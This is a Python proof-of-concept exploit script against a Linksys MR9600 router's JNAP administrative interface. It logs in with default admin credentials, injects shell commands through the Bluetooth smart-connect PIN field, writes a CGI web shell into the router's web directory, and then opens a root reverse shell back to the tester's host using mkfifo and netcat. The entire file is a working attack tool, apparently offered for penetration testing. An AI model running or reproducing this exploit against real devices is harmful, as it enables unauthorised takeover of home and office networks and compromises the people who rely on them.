#!/usr/bin/env python3.13 import base64 import json import sys import time import urllib.error import urllib.request import argparse # must be imported to ignore self signed certificates so that https can be used import ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE # Argument parsing handlers parser = argparse.ArgumentParser() parser.add_argument("-ti", "--targetIP", help="Target IP address of the vulnerable router",required=True) parser.add_argument("-tp", "--targetPort", help="Listening port for the administrative interface, defualts to 80") parser.add_argument("-lp", "--listenPort", help="Listening port on the testers machine",required=True) parser.add_argument("-li", "--listenIP", help="IP address that is listening, usually 192.168.1.1",required=True) parser.add_argument("-u", "--username", help="Administrator username to be used, defaults to admin") parser.add_argument("-p", "--password", help="Password for the administrator account, defaults to admin") parser.add_argument("-s", "--https", action='store_true',help="Use https instead of http, http is most common listening protocol on MR9600") args = parser.parse_args() ## set target port in the URL if(args.targetPort!=""): TARGET = args.targetIP+":"+args.targetPort else: TARGET = args.targetIP ## set protocol to be used default is https if(args.https): TARGET="https://"+TARGET else: TARGET="http://"+TARGET ## if username is not set set to the default of admin if args.username != "": USER = args.username else: USER = "admin" ## if password is not set set to the default of admin if args.password != "": PASSWORD = args.password else: PASSWORD = "admin" # set static variubles based on information provided by flags LHOST = args.listenIP LPORT = args.listenPort TIMEOUT = 10 UI = "1.0.99.206937" ## Set the endpoints that linksys uses for this particular vulnerablity GET_MODE = "http://linksys.com/jnap/nodes/smartmode/GetDeviceMode" SET_MODE = "http://linksys.com/jnap/nodes/smartmode/SetDeviceMode" EXPLOIT = "http://linksys.com/jnap/nodes/btsmartconnect/BTRequestGetSmartConnectPIN" JNAP = TARGET + "/JNAP/" SHELL_FS = f"/www/ui/{UI}/static/shell.cgi" SHELL_URL = f"{TARGET}/ui/{UI}/static/shell.cgi" #SHELL_FS = f"/www/shell.cgi" # alternate shell locations that I know will resolve correctly #SHELL_URL = f"{TARGET}/shell.cgi" # alternate shell URL AUTH = "Basic " + base64.b64encode(f"{USER}:{PASSWORD}".encode()).decode() ## request http/https webpage def http(url, data=None, headers=None): req = urllib.request.Request(url, data=data, headers=headers or {}) with urllib.request.urlopen(req,context=ctx, timeout=TIMEOUT) as r: return r.read() ## JNAP handling def jnap(action, payload): headers = { "X-JNAP-Action": action, "X-JNAP-Authorization": AUTH, "Content-Type": "application/json; charset=UTF-8", } for i in headers: print(i+" "+headers[i]); body = json.dumps(payload).encode() print(payload) # print("using action: "+action) try: raw = http(JNAP, body, headers) # print(raw) except urllib.error.HTTPError as e: raw = e.read() return json.loads(raw.decode()) ## Send it def send_payload(cmd): ret = jnap(EXPLOIT, {'pin': "a; " + cmd + "; #"}) if ret.get("result") != "OK": raise RuntimeError(ret) ## Ensure the device is in the master mode otherwise return debug information def ensure_master(): ret = jnap(GET_MODE, {}) print(ret) mode = ret["output"]["mode"] print("[*] Current mode:", mode) if mode != "Master": ret = jnap(SET_MODE, {"mode": "Master"}) if ret.get("result") != "OK": raise RuntimeError(ret) time.sleep(1) ## Stage the shell using the location variubles provided at the beginning ## of this POC def stage_shell(): lines = [ "#!/bin/sh", "echo Content-Type: text/plain", "echo", "IFS= read -r cmd", '/bin/sh -c "$cmd" 2>&1', ] cmd = [] for i, line in enumerate(lines): cmd.append(f"echo '{line}' {'>' if i == 0 else '>>'}{SHELL_FS}") cmd.append(f"chmod +x {SHELL_FS}") send_payload("; ".join(cmd)) time.sleep(1) ## Run the shell def run_shell(cmd): try: return http(SHELL_URL, cmd.encode(), {"Content-Type": "text/plain"}).decode(errors="replace") except TimeoutError: return "" ## Execute code in main def main(): try: ensure_master() stage_shell() if "root" not in run_shell("busybox whoami"): raise RuntimeError("helper shell failed") reverse = ( "rm -f /tmp/.btsh; " "mkfifo /tmp/.btsh; " f"/bin/sh -i &1 | /usr/bin/nc {LHOST} {LPORT} >/tmp/.btsh &" ) run_shell(reverse) print(f"[*] Reverse shell sent to {LHOST}:{LPORT}") except Exception as e: print("[!]", e, file=sys.stderr) sys.exit(1) if __name__ == "__main__": main()